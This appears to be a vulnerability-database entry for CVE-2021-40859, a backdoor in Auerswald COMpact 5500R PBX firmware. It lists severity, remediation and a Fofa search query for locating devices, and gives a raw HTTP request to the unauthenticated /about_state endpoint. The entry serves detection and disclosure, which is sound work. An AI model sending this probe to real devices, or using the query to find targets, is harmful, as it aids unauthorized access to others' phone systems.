| Title | Auerswald COMpact 5500R 7.8A and 8.0B Devices Backdoor |
|---|---|
| Author | pussycat0x |
| Severity | Critical |
| Impact | Unauthenticated attackers can gain unauthorized access to affected devices. |
| Remediation | Apply the latest firmware update provided by Auerswald to fix the backdoor vulnerability. |
| CVSS Score | 9.8 |
| EPSS Score | 0.81279 |
| CVE ID | CVE-2021-40859 |
| Fofa Query | "auerswald" |
| Tags | cve2021 cve iot unauth voip auerswald vuln |
Auerswald COMpact 5500R 7.8A and 8.0B devices contain an unauthenticated endpoint (“https://192.168.1[.]2/about_state”), enabling the bad actor to gain backdoor access to a web interface that allows for resetting the administrator password.
GET /about_state HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (SS; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-40859.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-40859.pcap
N/AN/A